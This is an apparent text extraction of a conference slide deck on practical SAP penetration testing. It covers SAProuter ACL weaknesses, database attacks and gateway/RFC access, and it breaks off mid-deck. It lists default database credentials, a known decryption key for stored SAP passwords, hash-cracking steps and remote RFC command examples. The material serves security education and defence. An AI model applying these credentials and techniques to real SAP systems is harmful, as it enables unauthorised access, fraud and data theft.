SlideShare une entreprise Scribd logo
1  sur  156
Télécharger pour lire hors ligne
Invest	
  in	
  security	
  
to	
  secure	
  investments	
  
Prac%cal	
  SAP	
  
Pentes%ng	
  
Alexander	
  Polyakov.	
  CTO	
  ERPScan	
  
About	
  ERPScan	
  
•  The	
   only	
   360-­‐degree	
   SAP	
   Security	
   soluAon	
   -­‐	
   ERPScan	
   Security	
  
Monitoring	
  Suite	
  for	
  SAP	
  
•  Leader	
  by	
  the	
  number	
  of	
  acknowledgements	
  from	
  SAP	
  (	
  150+	
  )	
  
•  60+	
  presenta%ons	
  key	
  security	
  conferences	
  worldwide	
  
•  25	
  Awards	
  and	
  nomina%ons	
  
•  Research	
  team	
  -­‐	
  20	
  experts	
  with	
  experience	
  in	
  	
  different	
  areas	
  
of	
  security	
  
•  Headquarters	
  in	
  Palo	
  Alto	
  (US)	
  and	
  Amsterdam	
  (EU)	
  
	
  
	
  
2	
  
3	
  
Introduc)on	
  to	
  SAP	
  
Business	
  applica%on	
  security	
  
	
  
	
  
All	
  business	
  processes	
  are	
  generally	
  contained	
  in	
  ERP	
  systems.	
  
	
  Any	
  informaAon	
  an	
  aPacker,	
  be	
  it	
  a	
  cybercriminal,	
  industrial	
  spy	
  
or	
  compeAtor,	
  might	
  want	
  is	
  stored	
  in	
  a	
  company’s	
  ERP.	
  	
  
This	
  informaAon	
  can	
  include	
  financial,	
  customer	
  or	
  public	
  
relaAons,	
  intellectual	
  property,	
  personally	
  idenAfiable	
  informaAon	
  
and	
  more.	
  Industrial	
  espionage,	
  sabotage	
  and	
  fraud	
  or	
  insider	
  
embezzlement	
  may	
  be	
  very	
  effecAve	
  if	
  targeted	
  at	
  a	
  vicAms	
  ERP	
  
system	
  and	
  cause	
  significant	
  damage	
  to	
  the	
  business.	
  
4	
  
Big	
  companies	
  
5	
  
	
  
Portal	
  
HR	
  
LogisAcs	
  
Warehouse	
  
ERP	
  
Billing	
  
Suppliers	
  
Customers	
  
Banks	
  
Insurance	
  Partners	
  
Branches	
  
BI	
  
Industry	
  
CRM	
  
SRM	
  
SAP	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  
Вставьте	
  рисунок	
  на	
  слайд,	
  скруглите	
  верхний	
  левый	
  и	
  нижний	
  правый	
  угол	
  
(Формат	
  –	
  Формат	
  рисунка),	
  добавьте	
  контур	
  (оранжевый,	
  толщина	
  –	
  3)	
  
6	
  
•  The	
  most	
  popular	
  business	
  applicaAon	
  
•  More	
  than	
  250000	
  customers	
  worldwide	
  	
  
•  83%	
  Forbes	
  500	
  companies	
  run	
  SAP	
  
•  Main	
  system	
  –	
  ERP	
  
•  3	
  Main	
  plaxorms	
  
-  NetWeaver	
  ABAP	
  
-  NetWeaver	
  J2EE	
  
-  BusinessObjects	
  
SAP	
  NetWeaver	
  ABAP	
  
•  Main	
  plaxorm	
  
•  Base	
  plaxorm	
  for:	
  ERP,SRC,CRM,PLM	
  	
  
•  Purpose:	
  Automate	
  business	
  processes	
  	
  
•  If	
  compromised:	
  	
  
-  Stopping	
  of	
  business	
  processes	
  
-  Fraud	
  
-  Industrial	
  espionage	
  
7	
  
SAP	
  NetWeaver	
  J2EE	
  
•  AddiAonal	
  plaxorm	
  
•  Base	
  plaxorm	
  for	
  IT	
  stuff.	
  Like:	
  	
  
–  SAP	
  Portal	
  ,	
  SAP	
  XI,	
  SAP	
  SoluAon	
  Manager,	
  SAP	
  Mobile,	
  SAP	
  xMII	
  
•  Purpose:	
  IntegraAon	
  of	
  different	
  systems	
  	
  
•  If	
  compromised:	
  
-  Stopping	
  of	
  all	
  connected	
  business	
  processes	
  
-  Fraud	
  
-  Industrial	
  espionage	
  
8	
  
SAP	
  BusinessObjects	
  
•  AddiAonal	
  plaxorm	
  
•  Base	
  plaxorm	
  for	
  analyAcs	
  
•  Mostly	
  business	
  oriented:	
  
-  Business	
  Intelligence	
  
-  GRC	
  	
  
•  If	
  compromised:	
  
-  Fraud	
  
-  Industrial	
  espionage	
  
9	
  
10	
  
Introduc)on	
  to	
  SAP	
  
SAP	
  for	
  users	
  
•  Client-­‐server	
  applicaAon	
  	
  SAP-­‐GUI	
  with	
  proprietary	
  DIAG	
  
protocol	
  
•  Main	
  funcAons	
  –	
  TransacAons	
  executed	
  in	
  SAPGUI	
  
•  Also	
  possible	
  to	
  call	
  special	
  background	
  funcAons	
  (RFC)	
  
remotely	
  
•  Possible	
  to	
  modify	
  code	
  of	
  transacAons	
  or	
  RFC	
  funcAons	
  using	
  
ABAP	
  language	
  
•  Possible	
  to	
  use	
  web-­‐interfaces	
  	
  like	
  Webdynpro	
  or	
  	
  BSP	
  in	
  some	
  
applicaAons	
  like	
  SRM	
  	
  
11	
  
SAP	
  for	
  users	
  
•  SAP	
  Landscape	
  
–  Test,	
  Development,	
  ProducAon,	
  QA	
  
•  SAP	
  Instance	
  
–  Server	
  Instance,	
  Dialog	
  instance	
  
•  Client	
  
–  Default	
  clients	
  
–  Client	
  separaAon	
  
	
  
12	
  
13	
  
DEMO	
  0:	
  
Login	
  to	
  SAP	
  system.	
  
14	
  
Introduc)on	
  to	
  SAP	
  Security	
  
SAP	
  Security	
  
	
  
•  Complexity.	
  Complexity	
  kills	
  security.	
  Many	
  different	
  
vulnerabiliAes	
  in	
  all	
  levels	
  from	
  network	
  to	
  applicaAon	
  
•  Customiza%on.	
  Can	
  not	
  be	
  installed	
  out	
  of	
  the	
  box.	
  They	
  have	
  
many	
  (up	
  to	
  50%)	
  custom	
  codes	
  and	
  business	
  logic	
  
•  Risky.	
  Rarely	
  updated	
  because	
  administrators	
  are	
  scared	
  they	
  
can	
  be	
  broken	
  during	
  updates	
  and	
  also	
  it	
  is	
  downAme	
  
•  Unknown.	
  Mostly	
  available	
  inside	
  a	
  company	
  (closed	
  world)	
  
	
  
hPp://erpscan.com/wp-­‐content/uploads/pres/ForgoPen%20World%20-­‐
%20Corporate%20Business%20ApplicaAon%20Systems%20Whitepaper.pdf	
  
15	
  
16	
  
0	
  
100	
  
200	
  
300	
  
400	
  
500	
  
600	
  
700	
  
800	
  
900	
  
2001	
   2002	
   2003	
   2004	
   2005	
   2006	
   2007	
   2008	
   2009	
   2010	
   2011	
   2012	
   2013	
   2014	
  
By	
  2014	
  	
  -­‐	
  2800	
  SAP	
  Security	
  notes	
  
SAP	
  Security	
  notes	
  
SAP	
  Pentes%ng	
  Features	
  
	
  
•  Deeper	
  knowledge	
  of	
  ERP	
  than	
  normal	
  systems	
  required	
  
•  ERP	
  systems	
  are	
  mission	
  criAcal	
  and	
  cannot	
  be	
  accidentally	
  
taken	
  down	
  (POC	
  exploits	
  too	
  dangerous)	
  
•  Gaining	
  shell	
  /	
  command	
  exec	
  is	
  not	
  the	
  goal	
  
–  Goal	
  is	
  access	
  to	
  sensiAve	
  data	
  or	
  impact	
  to	
  business	
  processes	
  
	
  
	
  
17	
  
SAP	
  Pentes%ng	
  Features:	
  deeper	
  knowledge	
  
•  Higher	
  difficulty	
  than	
  standard	
  pen	
  tests	
  
•  Required	
  knowledge	
  of:	
  
–  Business	
  processes	
  
–  Business	
  logic	
  
–  Exploit	
  tesAng	
  impact	
  risk	
  assessment	
  
–  High	
  end	
  databases	
  
–  Numerous	
  (someAmes	
  esoteric)	
  operaAng	
  systems	
  
–  Different	
  hardware	
  plaxorms	
  
–  Common	
  custom	
  implementaAons	
  
	
  
	
  
18	
  
SAP	
  Pentes%ng	
  Features	
  :	
  Exploita%on	
  
•  Exploit	
  code	
  for	
  ERP	
  not	
  easy	
  to	
  develop	
  	
  
•  Payloads	
  have	
  to	
  be	
  adapted	
  
–  Numerous	
  hardware,	
  OS,	
  release	
  version,	
  and	
  db	
  systems	
  to	
  generate	
  
payloads	
  for	
  
–  In	
  some	
  causes	
  up	
  to	
  50	
  different	
  shellcode	
  variaAons	
  
•  Building	
  a	
  test	
  environment	
  nearly	
  impossible	
  
–  Takes	
  an	
  expert	
  a	
  week	
  to	
  properly	
  install	
  each	
  variaAon	
  
–  A	
  year	
  to	
  build	
  a	
  comprehensive	
  test	
  environment	
  
	
  
	
  
19	
  
SAP	
  Pentes%ng	
  Features	
  :	
  Shell	
  
•  A	
  bePer	
  approach	
  required	
  with	
  focus	
  on	
  
–  Architecture	
  
–  Business	
  Logic	
  
–  ConfiguraAon	
  	
  
–  You	
  will	
  get	
  administrators	
  access	
  to	
  business	
  data	
  
•  Rather	
  than	
  
–  Program	
  or	
  Memory	
  VulnerabiliAes	
  
–  You	
  will	
  probably	
  gain	
  access	
  to	
  OS	
  and	
  then	
  need	
  to	
  obtain	
  access	
  to	
  
ApplicaAon	
  
	
  
	
  
20	
  
SAP	
  Security	
  areas	
  
21	
  
Code	
  security	
  
Business	
  security	
  (SOD)	
  
Infrastructure	
  security	
  (Network,OS,Database)	
  
ApplicaAon	
  plaxorm	
  security	
  
Legal	
  user	
  required	
  
Legal	
  user	
  not	
  required	
  
SAP	
  Security	
  areas	
  
22	
  
Code	
  security	
  
Business	
  security	
  (SOD)	
  
Infrastructure	
  security	
  (Network,OS,Database)	
  
ApplicaAon	
  plaxorm	
  security	
  
Legal	
  user	
  required	
  
Legal	
  user	
  not	
  required	
  
Methodologies:	
  EAS-­‐SEC	
  
23	
  
•  Enterprise	
  ApplicaAon	
  Security	
  Project	
  	
  
•  Found	
  in	
  2010	
  
•  Published	
  concept	
  and	
  top10	
  issues	
  for	
  different	
  areas	
  	
  
•  Version	
  2	
  in	
  2004	
  
Published	
  compliance	
  for	
  SAP	
  NetWeaver	
  ABAP	
  	
  
hPp://erpscan.com/publicaAons/the-­‐sap-­‐netweaver-­‐abap-­‐plaxorm-­‐
vulnerability-­‐assessment-­‐guide/	
  	
  
Exists	
  to	
  provide	
  guidance	
  to	
  people	
  involved	
  in	
  the	
  procurement,	
  
design,	
   implementa)on	
   or	
   sign-­‐off	
   of	
   large	
   scale	
   (i.e.'Enterprise')	
  
applica)ons.	
  
hPp://www.owasp.org/index.php/
OWASP_Enterprise_ApplicaAon_Security_Project	
  	
  
24	
  
Network	
  level	
  security	
  
Network	
  Security	
  Agenda	
  
Top	
  10	
  Network/Architecture	
  issues	
  by	
  EAS-­‐SEC	
  	
  
	
  
1.  Lack	
  of	
  proper	
  network	
  filtra%on	
  between	
  SAP	
  and	
  Corporate	
  
network	
  
2.  Lack	
  or	
  vulnerable	
  encryp%on	
  between	
  corporate	
  network	
  and	
  
SAP	
  
3.  Lack	
  of	
  separa%on	
  between	
  TST	
  DEV	
  and	
  PRD	
  system	
  
4.  Lack	
  of	
  encrypAon	
  inside	
  SAP	
  Network	
  
5.  Insecure	
  trusted	
  relaAons	
  between	
  components	
  
6.  Insecure	
  configured	
  Internet	
  facing	
  applica%ons	
  	
  
7.  Vulnerable	
  /	
  default	
  configured	
  Gateways	
  
8.  lack	
  of	
  frontend	
  access	
  filtraAon	
  
9.  Lack	
  or	
  misconfigured	
  monitoring	
  IDS/IPS	
  
10.  Insecure	
  /	
  inappropriate	
  wireless	
  communicaAon	
  
	
   25	
  
Network	
  Security	
  at	
  glance	
  
It	
  is	
  mostly	
  about:	
  
•  Network	
  filtraAon	
  (ACL)	
  
•  Protocol	
  security	
  (EncrypAon)	
  
•  Securing	
  Internet	
  access	
  (SAP	
  Router)	
  
	
  
26	
  
Network	
  filtra%on	
  
27	
  
Almost	
  every	
  listed	
  applicaAon	
  	
  have	
  vulnerabiliAes	
  and	
  
misconfiguraAons	
  that	
  can	
  be	
  used	
  to	
  gain	
  access	
  to	
  SAP	
  
	
  
hPp://www.sdn.sap.com/irj/scn/go/portal/prtroot/docs/library/uuid/4e515a43-­‐0e01-­‐0010-­‐2da1-­‐9bcc452c280b?QuickLink=index&overridelayout=true	
  	
  
28	
  
DEMO	
  1:	
  
Nmap	
  scan	
  of	
  SAP	
  
Why	
  cri%cal?	
  
•  AdministraAve	
  SAP	
  services	
  can	
  have	
  direct	
  Internet	
  access	
  
•  Even	
  if	
  you	
  sure	
  that	
  not	
  
•  To	
  prove	
  in	
  we	
  run	
  “SAP	
  Security	
  in	
  Figures	
  report”	
  
•  All	
  of	
  possible	
  services	
  were	
  found	
  at	
  least	
  once	
  
	
  
29	
  
Myth:	
  SAP	
  systems	
  a`acks	
  	
  available	
  only	
  for	
  insiders	
  
Why	
  cri%cal?	
  
30	
  
About	
  10000	
  systems	
  including:	
  
	
  Dispatcher,	
  Message	
  server,	
  SapHostcontrol,	
  Web-­‐	
  services	
  
Protocol	
  security	
  
31	
  
Soa	
  	
   Port	
  	
   Protocol	
   Pass	
  encr	
   Data	
  encr	
   Mi%ga%on	
  
SAPGUI	
   32<SN>	
   DIAG	
   Compession	
  (can	
  be	
  
decompresssed)	
  
Compression	
  (can	
  be	
  
decompressed)	
  
SNC	
  
WEBGUI	
   80<SN>	
   HTTP	
   Base64	
   no	
   SSL	
  
RFC	
   33<SN>	
   RFC	
   XOR	
   no	
   SNC	
  
Message	
  server	
   36<SN>	
   No	
   no	
   SNC	
  
	
  
Visual	
  Admin	
   5<SN>04	
   P4	
   Prorietary	
  (broken)	
   Prorietary	
  (broken)	
  
	
  
SSL	
  
IIOP	
   5<SN>07	
  
J2EE	
  Telnet	
   5<SN>08	
   No	
   No	
   	
  
VPN/Disablse	
  
	
  
LogViewer	
   5<SN>09	
   prorietary	
   md5	
   No	
   NO	
  
MMC	
   5<SN>13	
   HTTP	
   Base64	
   no	
   SSL	
  
32	
  
SAP	
  Router	
  security	
  
SAP	
  Router	
  
SAP	
  Router	
  –	
  reverse	
  proxy	
  server:	
  
•  Transmit	
  connecAons	
  
–  	
  From	
  internet	
  lo	
  company	
  
–  	
  From	
  SAP	
  AG	
  to	
  company	
  
–  	
  Between	
  networks	
  
–  	
  Between	
  clients/partners	
  
•  Listen	
  by	
  default	
  port	
  3299	
  
•  Can	
  be	
  installed	
  in	
  windows/linux	
  
•  Support	
  encrypAon	
  (SNC)	
  and	
  ACL	
  	
  
33	
  
SAP	
  Router	
  bug	
  1	
  (Table	
  bypass)	
  
There	
  is	
  an	
  ACL	
  table	
  to	
  prevent	
  unauthorized	
  access	
  
•  D	
  	
  172.16.0.1	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  192.168.1.1	
  	
  	
  	
  22	
  
•  P	
  	
  	
  172.16.0.4	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  192.168.1.1	
  	
  	
  	
  3301	
  	
  	
  	
  	
  	
  	
  passwd	
  
•  S	
  	
  	
  172.16.0.5	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  192.168.1.1	
  	
  	
  	
  *	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  passwd	
  
•  .	
  
•  .	
  
•  .	
  
•  KP	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  *	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  192.168.1.1	
  	
  	
  8000	
  
•  P	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  *	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  *	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  *	
  
34	
  
SAP	
  Router	
  bug	
  2	
  (non	
  SAP	
  services)	
  
•  SomeAmes	
  administrators	
  use	
  SAPRouter	
  also	
  for	
  rouAng	
  other	
  
protocols	
  
•  It	
  is	
  possible	
  to	
  connect	
  any	
  port	
  
•  In	
  old	
  versions	
  *	
  means	
  any	
  port	
  is	
  allowed	
  
•  In	
  new	
  versions	
  *	
  means	
  any	
  SAP	
  port	
  is	
  allowed	
  
	
  
•  P	
  	
  172.*.*.*	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  *	
  	
  	
  	
  3389	
  
•  P	
  	
  	
  *	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  *	
  	
  	
  	
  telnet	
  	
  	
  	
  	
  	
  	
  	
  
	
  
35	
  
SAP	
  Router	
  bug	
  3	
  
•  	
  InformaAon	
  disclose	
  about	
  router	
  table	
  
•  	
  If	
  router	
  configured	
  with	
  special	
  parameter	
  -­‐i	
  
•  	
  Router	
  table	
  can	
  be	
  remotely	
  disclosed	
  
•  	
  In	
  real	
  world	
  ~20%	
  of	
  routers	
  configured	
  in	
  such	
  way	
  
36	
  
SAP	
  Router	
  bug	
  4	
  (DOS)	
  
•  	
  If	
  you	
  found	
  informaAon	
  disclose	
  
•  Or	
  brute	
  for	
  at	
  least	
  one	
  service	
  which	
  can	
  be	
  accessed	
  thought	
  
SAP	
  Router	
  	
  
•  You	
  can	
  run	
  DOS	
  aPack	
  on	
  SAP	
  Router	
  
•  By	
  default	
  router	
  pool	
  limited	
  to	
  3000	
  connecAons	
  
•  In	
  1	
  minute	
  you	
  can	
  disable	
  SAPRouter	
  
37	
  
SAP	
  Router	
  bug	
  5	
  (full	
  access)	
  
•  Auth	
  bypass	
  
•  If	
  router	
  configured	
  with	
  special	
  parameter	
  -­‐x	
  
•  Router	
  can	
  be	
  remotely	
  reconfigured	
  
•  In	
  real	
  world	
  ~8%	
  of	
  routers	
  configured	
  in	
  such	
  way!	
  
	
  
	
  
38	
  
SAP	
  Router	
  bug	
  6	
  (Memory	
  corrup%on)	
  
•  Memory	
  corrupAon	
  issue	
  were	
  found	
  by	
  ERPScan	
  team	
  
•  Remote	
  compromise	
  without	
  authenAcaAon	
  
•  Cant	
  disclose	
  details	
  now	
  	
  
•  85%	
  vulnerable	
  NOW!	
  
	
  
	
  
	
  
39	
  
40	
  
Database	
  level	
  security	
  for	
  SAP	
  systems	
  
Database	
  Security	
  Agenda	
  
•  CriAcal	
  database	
  data	
  
•  APacking	
  Database	
  
•  From	
  database	
  to	
  SAP	
  
•  Securing	
  Database	
  
	
  
41	
  
Cri%cal	
  database	
  data	
  
•  We	
  are	
  interested	
  in	
  data	
  that	
  can	
  help	
  us	
  to	
  get	
  into	
  SAP	
  
•  Data	
  stored	
  in	
  tablespace	
  SAPR3	
  or	
  SAP<SID>	
  
•  	
  InteresAng	
  tables:	
  
	
   	
  USR02	
  —	
  password	
  hashes	
  
	
   	
  SSF_PSE_D	
  —	
  SSO	
  keys	
  	
  
	
   	
  RFCDES	
  –	
  passwords	
  for	
  RFC	
  connecAons	
  	
  
	
   	
  ICFSERVLOC	
  –	
  passwords	
  for	
  ICF	
  services	
  
	
   	
  REPOSRC	
  –	
  ABAP	
  programs	
  
	
  
	
  
42	
  
A`acking	
  Database	
  (OWASP-­‐EAS)	
  
Top	
  10	
  OS	
  Issues	
  by	
  OWASP-­‐EAS	
  
1	
  Default	
  passwords	
  for	
  DB	
  access	
  
2	
  Lack	
  of	
  DB	
  patch	
  management	
  
3	
  Unnecessary	
  Enabled	
  DB	
  features	
  	
  
4	
  lack	
  of	
  password	
  lockout/complexity	
  checks	
  
5	
  Unencrypted	
  sensiAve	
  data	
  transport	
  /	
  data	
  
6	
  Lack	
  or	
  misconfigured	
  network	
  access	
  control	
  
7	
  Extensive	
  user	
  and	
  group	
  privileges	
  
8	
  lack	
  or	
  misconfigured	
  audit	
  
9	
  Insecure	
  trust	
  rela%ons	
  
10	
  Open	
  addiAonal	
  interfaces	
  
	
  
43	
  
SAP	
  Specific	
  
SAP	
  Specific	
  
SAP	
  Specific	
  
A`acking	
  Database	
  (OWASP-­‐EAS)	
  
•  Oracle	
  is	
  sAll	
  most	
  popular	
  database	
  for	
  SAP	
  
•  By	
  default	
  listen	
  port	
  1527	
  
•  Common	
  aPacks:	
  
–  Default	
  Oracle	
  passwords	
  
–  Simple	
  passwords	
  bruteforce	
  
–  Protocol	
  vulnerabiliAes	
  (overflows)	
  
–  Listener	
  aPacks	
  (remote	
  registraAon	
  of	
  log)	
  
44	
  
Direct	
  access	
  to	
  Database	
  =	
  full	
  SAP	
  compromise	
  
Default	
  passwords	
  
•  Default	
  SAP’s	
  database	
  users/passwords	
  
–  SAPR3/SAP	
  
•  Default	
  Oracle	
  database	
  users/passwords	
  
–  SYS/CHANGE_ON_INSTALL	
  
–  SYSTEM/MANAGER	
  
–  SCOTT/TIGER	
  
–  DBSNMP/DBSNMP	
  
45	
  
Misconfigured	
  access	
  control	
  	
  
•  Oracle	
  configuraAon	
  REMOTE_OS_AUTHENT	
  
•  If	
  set	
  to	
  TRUE	
  oracle	
  trusts	
  remote	
  system	
  for	
  connecAng	
  to	
  
listener	
  
•  Remote	
  user	
  must	
  have	
  <SID>ADM	
  name	
  
•  No	
  need	
  for	
  password	
  or	
  anything	
  else!	
  
	
  
46	
  
Misconfigured	
  access	
  control	
  	
  
47	
  
From	
  database	
  to	
  SAP	
  
•  Connect	
  using	
  OPS$<SID>ADM	
  
•  Select	
  encrypted	
  password	
  from	
  SAPUSER	
  table	
  
•  Decrypt	
  it	
  (DES	
  with	
  known	
  key	
  BE_HAPPY)	
  
•  Connect	
  to	
  SAP	
  using	
  user	
  SAPR3/SAPSR3/SAPSR3DB	
  
•  SelecAng	
  user	
  hashes	
  from	
  SAP<SID>.usr02	
  table	
  
•  Brute	
  hashes	
  using	
  JohnTheRipper	
  
48	
  
Oracle	
  Security	
  Defense	
  
•  Close	
  port	
  1527	
  from	
  everything	
  but	
  SAP	
  
•  Secure	
  listener	
  by	
  password	
  
•  Configure	
  password	
  policies	
  
–  FAILED_LOGIN_ATTEMPTS	
  
–  PASSWORD_VERIFY_FUNCTION	
  
•  Change	
  default	
  passwords	
  
•  Encrypt	
  data	
  transfer	
  
•  Enable	
  SQL	
  Audit	
  at	
  DB	
  
	
  
	
  
	
  
49	
  
50	
  
SAP	
  Applica)on	
  plaMorm	
  security	
  
SAP	
  NetWeaver	
  
	
  
51	
  
52	
  
SAP	
  Frontend	
  	
  security	
  
Why	
  A`ack	
  users	
  
•  Users	
  are	
  less	
  secure	
  	
  
•  There	
  are	
  thousands	
  SAP	
  users	
  in	
  one	
  company	
  	
  
•  You	
  can	
  aPack	
  them	
  even	
  if	
  Server	
  is	
  fully	
  secured	
  
•  You	
  can	
  aPack	
  them	
  from	
  outside	
  	
  
•  You	
  can	
  use	
  them	
  as	
  proxy	
  for	
  aPacking	
  servers	
  
	
  
	
  
53	
  
Typical	
  Client	
  Soaware	
  for	
  SAP	
  
•  SAPGUI	
  
•  JAVAGUI	
  	
  
•  WEBGUI	
  	
  
•  NWBC	
  	
  	
  	
  	
  
•  RFC	
  	
  
•  ApplicaAons	
  such	
  as	
  VisualAdmin,	
  Mobile	
  client	
  and	
  many-­‐many	
  
other	
  	
  
	
  
	
  
54	
  
Typical	
  Client	
  Soaware	
  for	
  SAP	
  
	
  
55	
  
Date	
   Vulnerable	
  
Component
Author Vulnerability Link
04.01.2007 Rfcguisink 	
  Mark	
  Litchfield	
   BOF hPp://www.ngsso—ware.com/advisories/high-­‐risk-­‐vulnerability-­‐in-­‐
enjoysap-­‐stack-­‐overflow/	
  
04.01.2007 Kwedit 	
  Mark	
  Litchfield BOF hPp://www.ngsso—ware.com/advisories/high-­‐risk-­‐vulnerability-­‐in-­‐
enjoysap-­‐stack-­‐overflow/
07.11.2008 Mdrmsap 	
  Will	
  Dormann	
  	
   BOF hPp://www.securityfocus.com/bid/32186/info
07.01.2009 Sizerone 	
  Carsten	
  Eiram BOF hPp://www.securityfocus.com/bid/33148/info
31.03.2009 WebWiewer3D 	
  Will	
  Dormann	
  	
   BOF hPp://www.securityfocus.com/bid/34310/info
15.04.2009 Kwedit Carsten	
  Eiram Insecure	
  Method hPp://secunia.com/secunia_research/2008-­‐56/
08.06.2009 Sapirrfc 	
  Alexander	
  Polyakov	
  (DSecRG) BOF hPp://dsecrg.com/pages/vul/show.php?id=115
28.09.2009 WebWiewer3D Alexander	
  Polyakov	
  (DSecRG) Insecure	
  Method hPp://dsecrg.com/pages/vul/show.php?id=143	
  
28.09.2009 WebWiewer2D Alexander	
  Polyakov	
  (DSecRG) Insecure	
  Method hPp://dsecrg.com/pages/vul/show.php?id=144	
  
	
  07.10.2009 VxFlexgrid 	
  Elazar	
  Broad	
  ,	
  
	
  Alexander	
  Polyakov	
  (DSecRG)
BOF hPp://dsecrg.com/pages/vul/show.php?id=117
23.03.2010 BExGlobal Alexey	
  Sintsov	
  (DSecRG) Insecure	
  Method hPp://dsecrg.com/pages/vul/show.php?id=164
unpublished Kwedit	
   Alexander	
  Polyakov,	
  Alexey	
  Troshichev	
  	
  
(DSecRG)
Insecure	
  Method hPp://dsecrg.com/pages/vul/show.php?id=145	
  
14.12.2010	
   RFCSDK 	
  Alexey	
  Sintsov	
  (DSecRG) Memory	
  CorrupAon hPp://dsecrg.com/pages/vul/show.php?id=169	
  
14.12.2010 	
  RFCSDK 	
  Alexey	
  Sintsov	
  (DSecRG) Format	
  String hPp://dsecrg.com/pages/vul/show.php?id=170	
  
unpublished	
   	
  DSECRG-­‐00173 	
  Alexander	
  Polyakov	
  (DSecRG) Insecure	
  Method later
22.12.2010 NWBC Alexey	
  Sintsov	
  (DSecRG) Memory	
  CorrupAon hPp://dsecrg.com/pages/vul/show.php?id=210
Implementa%on	
  fails	
  	
  
•  DistribuAves	
  usually	
  stored	
  on	
  shared	
  folder	
  	
  
•  If	
  you	
  can	
  gain	
  this	
  access	
  it	
  is	
  possible	
  to	
  overwrite	
  dll’s	
  
•  Or	
  modify	
  configuraAon	
  file	
  with	
  BOF	
  issues.	
  
•  Or	
  overwrite	
  configuraAon	
  files	
  with	
  fake	
  SAP	
  server	
  
	
  
	
  
56	
  
57	
  
SAP	
  NetWeaver	
  –	
  Applica)on	
  server	
  services	
  
SAP	
  NetWeaver:	
  main	
  components	
  
•  NetWeaver	
  Applica%on	
  Server	
  ABAP	
  
–  SAP	
  Gateway	
  
–  SAP	
  Message	
  server	
  
–  SAP	
  Message	
  server	
  HTTP	
  
–  SAP	
  Dispatcher	
  
–  SAP	
  ICM	
  
–  SAP	
  MMC	
  
–  SAP	
  HostControl	
  
•  NetWeaver	
  Applica%on	
  Server	
  JAVA	
  
–  HTTP	
  Server	
  
–  SAP	
  Portal	
  
58	
  
59	
  
SAP	
  Gateway	
  security	
  
SAP	
  NetWeaver	
  
	
  
60	
  
SAP	
  Gateway	
  also	
  called	
  Applica%on	
  Server.	
  
•  One	
  of	
  the	
  core	
  SAP	
  services	
  
•  Allows	
  interacAon	
  with	
  remote	
  SAP	
  systems	
  and	
  also	
  with	
  other	
  
systems	
  
•  Manages	
  the	
  communicaAon	
  for	
  all	
  RFC	
  based	
  funcAonality	
  
–  Gateway	
  monitor	
  (AdministraAon	
  )	
  
–  Gateway	
  Reader	
  (	
  RFC)	
  	
  
–  Gateway	
  work	
  process	
  (	
  logging	
  )	
  
	
  
	
  
	
   61	
  
hPp://scn.sap.com/people/maP.kangas/blog/2009/03/03/sap-­‐netweaver-­‐executables	
  
SAP	
  Gateway	
  
Gateway	
  Monitor	
  
•  Gateway	
  Monitor	
  
•  Access	
  for	
  analyzing	
  gateway	
  process	
  
•  You	
  can	
  specify	
  3	
  opAons	
  for	
  security	
  
–  Gw/monitor=0	
  forbidden	
  access	
  
–  Gw/monitor=1	
  only	
  local	
  access	
  (default	
  now)	
  
–  Gw/monitor=2	
  local	
  and	
  remote	
  access	
  (default	
  before	
  6.2)	
  
	
  
	
  
62	
  
Gateway	
  Monitor	
  
•  If	
  Gw/monitor=2	
  	
  it	
  is	
  possible	
  to	
  run	
  criAcal	
  commands	
  and	
  
obtain	
  some	
  informaAon	
  	
  remotely	
  
•  Remote	
  monitoring	
  can	
  be	
  done	
  by	
  GWMON	
  tool	
  
•  Stored	
  in	
  /usr/exe/	
  
•  Example:	
  	
  gwmon	
  -­‐gwhost	
  127.0.0.1	
  -­‐gwserv	
  3200	
  
	
  
	
  
63	
  
64	
  
DEMO	
  9:	
  
Playing	
  with	
  GWMON	
  
Gateway	
  RFC	
  	
  (3	
  types)	
  	
  
•  ABAP	
  RFC	
  	
  	
  
–  client	
  call	
  SAP-­‐server	
  
•  Registered	
  RFC	
  Server	
  Program	
  	
  
–  	
  Client	
  call	
  addiAonal	
  programs	
  
	
  installed	
  on	
  Other	
  servers	
  via	
  Gateway	
  
	
  
	
  
•  Started	
  RFC	
  Server	
  Program	
  
–  	
  Client	
  call	
  addiAonal	
  programs	
  
	
  	
  that	
  installed	
  on	
  SAP-­‐server	
  	
  
	
  
65	
  
•  Most	
  commonly	
  used	
  
•  It	
  is	
  like	
  windows	
  RPC	
  
•  User	
  can	
  call	
  ABAP	
  remote-­‐enabled	
  funcAons	
  	
  
•  need	
  to	
  know:	
  	
  
–  System	
  id	
  
–  Client	
  
–  userid	
  
–  password	
  	
  
	
  
•  There	
  are	
  about	
  30000	
  different	
  RFC	
  funcAons	
  	
  in	
  different	
  
groups	
  
	
  
	
  
	
  	
  
	
  
66	
  
ABAP	
  RFC	
  -­‐	
  overview	
  
ABAP	
  RFC	
  -­‐	
  execu%ng	
  
How	
  to	
  call	
  RFC	
  func%on	
  remotely?	
  
•  Use	
  default	
  tool	
  usrsapERPSYSexerun
startrfc
•  Use	
  default	
  credenAals	
  or	
  exisAng	
  user	
  credenAals	
  
	
  
Example:	
  
>Startrfc.exe -3 –h 172.16.0.222 –s 01 –c 800 –F RFC_PING -t
	
  
Don’t	
  miss	
  parameters	
  order	
  because	
  you	
  will	
  get	
  errors!	
  
	
  
	
  
	
  
	
  
	
  
67	
  
 ABAP	
  RFC	
  –	
  Anonymous	
